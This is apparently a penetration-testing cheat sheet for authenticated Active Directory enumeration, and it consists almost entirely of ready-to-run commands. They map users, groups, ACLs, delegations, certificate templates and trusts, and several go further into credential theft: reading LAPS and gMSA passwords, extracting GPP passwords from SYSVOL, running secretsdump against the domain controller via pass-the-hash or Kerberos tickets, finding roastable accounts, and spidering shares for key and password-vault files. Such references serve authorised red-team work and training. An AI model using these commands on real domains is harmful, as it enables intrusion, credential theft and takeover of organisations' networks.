Authenticated Enumeration
You have creds (password, hash, or ticket). Time to map the entire domain. Pull users, groups, ACLs, delegations, trusts, certificates, and everything BloodHound needs.
Sections Authenticated Enumeration
Auth patterns: Most commands below show password auth. For hash-based or Kerberos auth, see the Auth Variants section at the bottom.
Full Domain Dump
Dump the entire domain to HTML/JSON reports with ldapdomaindump. [LDAP]
root@localhost:~# ldapdomaindump -u '<DOMAIN><USER>' -p '<PASS>' <DC_IP> -o ldd_output/
domain_users.html, domain_computers.html, domain_groups.html, etc. (great for quick offline review in a browser).Pull everything with ldeep into organized files. [LDAP]
root@localhost:~# ldeep ldap -u <USER> -p <PASS> -d <DOMAIN_FQDN> -s ldap://<DC_IP> all ldeep_output/
BloodHound Collection
Collect all data with bloodhound-python (remote, from Linux). [LDAP] [SMB]
root@localhost:~# bloodhound-ce-python -c all -u <USER> -p <PASS> -d <DOMAIN_FQDN> -ns <DC_IP> --zip
Collect using RustHound-CE (faster, BloodHound CE compatible). [LDAP]
root@localhost:~# rusthound-ce -u <USER>@<DOMAIN_FQDN> -p <PASS> -d <DOMAIN_FQDN> -i <DC_IP> -z
From Windows using SharpHound. [Windows-side]
root@localhost:~# .\SharpHound.exe -c all --zipfilename bh_collection.zip
User Enumeration
Enumerate all domain users via LDAP. [LDAP]
root@localhost:~# nxc ldap <DC_IP> -u <USER> -p <PASS> --users
Via ldeep.
root@localhost:~# ldeep ldap -u <USER> -p <PASS> -d <DOMAIN_FQDN> -s ldap://<DC_IP> users
Find users with descriptions (often contain passwords or hints). [LDAP]
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=user)(description=*))' sAMAccountName description
Find disabled accounts. [LDAP]
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))' sAMAccountName
Find accounts that have never logged in (honeypots or dormant accounts). [LDAP]
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=user)(!(lastLogonTimestamp=*)))' sAMAccountName
Enumerate users via SMB. [SMB]
root@localhost:~# nxc smb <DC_IP> -u <USER> -p <PASS> --users
Group Enumeration
List all domain groups. [LDAP]
root@localhost:~# nxc ldap <DC_IP> -u <USER> -p <PASS> --groups
Find members of Domain Admins. [LDAP]
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=group)(cn=Domain Admins))' member
Enumerate members of a specific group via ldeep.
root@localhost:~# ldeep ldap -u <USER> -p <PASS> -d <DOMAIN_FQDN> -s ldap://<DC_IP> membersof 'Domain Admins'
Find nested group memberships for a user.
root@localhost:~# ldeep ldap -u <USER> -p <PASS> -d <DOMAIN_FQDN> -s ldap://<DC_IP> memberships <TARGET_USER>
List all privileged groups.
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=group)(adminCount=1))' cn
Computer Enumeration
List all domain computers. [LDAP]
root@localhost:~# ldeep ldap -u <USER> -p <PASS> -d <DOMAIN_FQDN> -s ldap://<DC_IP> machines
Find Domain Controllers. [LDAP]
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))' cn dNSHostName
Find computers with specific OS versions (useful for targeting older systems). [LDAP]
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=computer)(operatingSystem=_Server 2016_))' cn operatingSystem
Check which computers you have local admin on. [SMB]
root@localhost:~# nxc smb <SUBNET>/24 -u <USER> -p <PASS>
(Pwn3d!) in the output. That means local admin access on that host.ACL Enumeration
Enumerate ACLs on a target object with bloodyAD. [LDAP]
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> get object <TARGET_DN> --attr nTSecurityDescriptor
Find objects where your user has write permissions. [LDAP]
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> get writable --otype ALL --right WRITE --detail
Find objects where your user has full control. [LDAP]
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> get writable --otype ALL --right ALL --detail
SPN Enumeration (Kerberoast Targets)
Find accounts with SPNs set (kerberoastable targets). [LDAP]
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName servicePrincipalName
Via Impacket (enumerate only, no hash extraction).
root@localhost:~# impacket-GetUserSPNs <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP>
Via NetExec.
root@localhost:~# nxc ldap <DC_IP> -u <USER> -p <PASS> --kerberoasting kerberoast_output.txt
-request first to see what’s out there. Only roast accounts that look high-value to minimize noise.AS-REP Roastable Accounts
Find accounts with Kerberos pre-auth disabled. [LDAP]
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' sAMAccountName
Via Impacket (enumerate only).
root@localhost:~# impacket-GetNPUsers <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP>
Delegation Enumeration
Find all delegation configurations in the domain. [LDAP]
root@localhost:~# impacket-findDelegation <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP> -target-domain <DOMAIN_FQDN>
Via NetExec.
root@localhost:~# nxc ldap <DC_IP> -u <USER> -p <PASS> --delegations
Find unconstrained delegation computers. [LDAP]
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))' cn
Find constrained delegation (with protocol transition). [LDAP]
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=_)(msDS-AllowedToDelegateTo=_))' cn msDS-AllowedToDelegateTo
Find RBCD configurations. [LDAP]
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=_)(msDS-AllowedToActOnBehalfOfOtherIdentity=_))' cn
AD CS Enumeration
Find all CAs, templates, and vulnerable configurations. [LDAP]
root@localhost:~# certipy find -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -vulnerable -stdout
Save full output to JSON for offline analysis.
root@localhost:~# certipy find -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -vulnerable -json -output certipy_enum
Enumerate only certificate templates.
root@localhost:~# certipy find -u <USER>@<DOMAIN_FQDN> -p <PASS> -dc-ip <DC_IP> -stdout -enabled
certipy_enum_*.json carefully. BloodHound CE also ingests Certipy data for attack path visualization. Look for ESC1 through ESC11+ in the output.Trust Enumeration
Map domain trusts. [LDAP]
root@localhost:~# nxc ldap <DC_IP> -u <USER> -p <PASS> --trusts
Via ldeep.
root@localhost:~# ldeep ldap -u <USER> -p <PASS> -d <DOMAIN_FQDN> -s ldap://<DC_IP> trusts
Via Impacket.
root@localhost:~# impacket-lookupsid <DOMAIN>/<USER>:<PASS>@<DC_IP>
LAPS Enumeration
Check if LAPS is deployed and read passwords (if your account has permissions). [LDAP]
root@localhost:~# nxc ldap <DC_IP> -u <USER> -p <PASS> -M laps
Via bloodyAD.
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> get object '<COMPUTER_DN>' --attr ms-mcs-AdmPwd
Check for LAPS v2 (Windows LAPS). [LDAP]
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(&(objectClass=computer)(msLAPS-Password=*))' cn msLAPS-Password
ms-mcs-AdmPwd. LAPS v2 (Windows LAPS) uses msLAPS-Password or msLAPS-EncryptedPassword. Check both.gMSA Password Reading
Read gMSA passwords (if your account is in the allowed principals). [LDAP]
root@localhost:~# nxc ldap <DC_IP> -u <USER> -p <PASS> --gmsa
Via bloodyAD.
root@localhost:~# bloodyAD -u <USER> -p <PASS> -d <DOMAIN_FQDN> --host <DC_IP> get object '<GMSA_ACCOUNT>$' --attr msDS-ManagedPassword
GPO Enumeration
List Group Policy Objects. [LDAP]
root@localhost:~# ldeep ldap -u <USER> -p <PASS> -d <DOMAIN_FQDN> -s ldap://<DC_IP> gpo
Check for GPP auto-logon credentials. [LDAP]
root@localhost:~# nxc ldap <DC_IP> -u <USER> -p <PASS> -M gpp_autologin
Check for GPP passwords in SYSVOL. [SMB]
root@localhost:~# nxc smb <DC_IP> -u <USER> -p <PASS> -M gpp_password
cpassword value found in SYSVOL XML files can be decrypted instantly with gpp-decrypt.DNS Enumeration (Authenticated)
Dump all AD-integrated DNS records. [DNS]
root@localhost:~# adidnsdump -u '<DOMAIN><USER>' -p '<PASS>' <DC_IP>
Dump and resolve records. [DNS]
root@localhost:~# adidnsdump -u '<DOMAIN><USER>' -p '<PASS>' <DC_IP> -r
Query a specific DNS record with dnstool. [DNS]
root@localhost:~# python3 dnstool.py -u '<DOMAIN><USER>' -p '<PASS>' <DC_IP> -r <RECORD_NAME> --action query
Session & Access Enumeration
List active sessions on a target. [SMB] [Requires Local Admin]
root@localhost:~# nxc smb <TARGET> -u <USER> -p <PASS> --sessions
List logged-on users. [SMB] [Requires Local Admin]
root@localhost:~# nxc smb <TARGET> -u <USER> -p <PASS> --loggedon-users
Check local admin access across the subnet. [SMB]
root@localhost:~# nxc smb <SUBNET>/24 -u <USER> -p <PASS>
Check WinRM access. [WinRM]
root@localhost:~# nxc winrm <SUBNET>/24 -u <USER> -p <PASS>
Check RDP access. [RDP]
root@localhost:~# nxc rdp <SUBNET>/24 -u <USER> -p <PASS>
Check MSSQL access. [MSSQL]
root@localhost:~# nxc mssql <SUBNET>/24 -u <USER> -p <PASS>
Spider shares for sensitive files. [SMB]
root@localhost:~# nxc smb <DC_IP> -u <USER> -p <PASS> -M spider_plus -o DOWNLOAD_FLAG=false
Filter spidering to specific extensions. [SMB]
root@localhost:~# nxc smb <DC_IP> -u <USER> -p <PASS> -M spider_plus -o EXTENSIONS=txt,xml,ini,cfg,config,ps1,bat,kdbx,conf,bak,key,pfx
MachineAccountQuota Check
Check if you can create machine accounts (needed for RBCD abuse). [LDAP]
root@localhost:~# nxc ldap <DC_IP> -u <USER> -p <PASS> -M maq
Via ldapsearch.
root@localhost:~# ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN_FQDN>' -w '<PASS>' -b 'DC=domain,DC=local' '(objectClass=domain)' ms-DS-MachineAccountQuota
RPC Enumeration (Authenticated)
Query a specific user for details. [RPC]
root@localhost:~# rpcclient -U '<DOMAIN><USER>%<PASS>' <DC_IP> -c 'queryuser <RID>'
Enumerate printers (check for PrinterBug / SpoolService). [RPC]
root@localhost:~# rpcclient -U '<DOMAIN><USER>%<PASS>' <DC_IP> -c 'enumprinters'
Look up user SIDs. [RPC]
root@localhost:~# rpcclient -U '<DOMAIN><USER>%<PASS>' <DC_IP> -c 'lookupnames Administrator'
Auth Variants
Most commands above use password auth. Here’s how to swap in hash or Kerberos auth.
Pass-the-Hash (NetExec)
root@localhost:~# nxc smb <DC_IP> -u <USER> -H <HASH> --shares
root@localhost:~# nxc ldap <DC_IP> -u <USER> -H <HASH> --users
root@localhost:~# nxc winrm <TARGET> -u <USER> -H <HASH>
Pass-the-Hash (Impacket)
root@localhost:~# impacket-GetUserSPNs <DOMAIN>/<USER> -hashes :<HASH> -dc-ip <DC_IP>
root@localhost:~# impacket-secretsdump <DOMAIN>/<USER>@<DC_IP> -hashes :<HASH>
root@localhost:~# impacket-findDelegation <DOMAIN>/<USER> -hashes :<HASH> -dc-ip <DC_IP>
Kerberos Auth (Ticket-based)
# Get a TGT first
root@localhost:~# impacket-getTGT <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP>
root@localhost:~# export KRB5CCNAME=<USER>.ccache
# Then use -k -no-pass on any Impacket tool
root@localhost:~# impacket-GetUserSPNs <DOMAIN>/<USER> -k -no-pass -dc-ip <DC_IP>
root@localhost:~# impacket-findDelegation <DOMAIN>/<USER> -k -no-pass -dc-ip <DC_IP>
root@localhost:~# impacket-secretsdump <DOMAIN>/<USER>@<DC_FQDN> -k -no-pass
# NetExec with Kerberos
root@localhost:~# nxc smb <DC_FQDN> -u <USER> --use-kcache --shares
root@localhost:~# nxc ldap <DC_FQDN> -u <USER> --use-kcache --users
/etc/hosts or point /etc/resolv.conf to the DC. Always use the FQDN (not IP) with -k.bloodyAD with Hash
root@localhost:~# bloodyAD -u <USER> -p :<HASH> -d <DOMAIN_FQDN> --host <DC_IP> get writable --otype ALL --right WRITE --detail
Certipy with Hash
root@localhost:~# certipy find -u <USER>@<DOMAIN_FQDN> -hashes :<HASH> -dc-ip <DC_IP> -vulnerable -stdout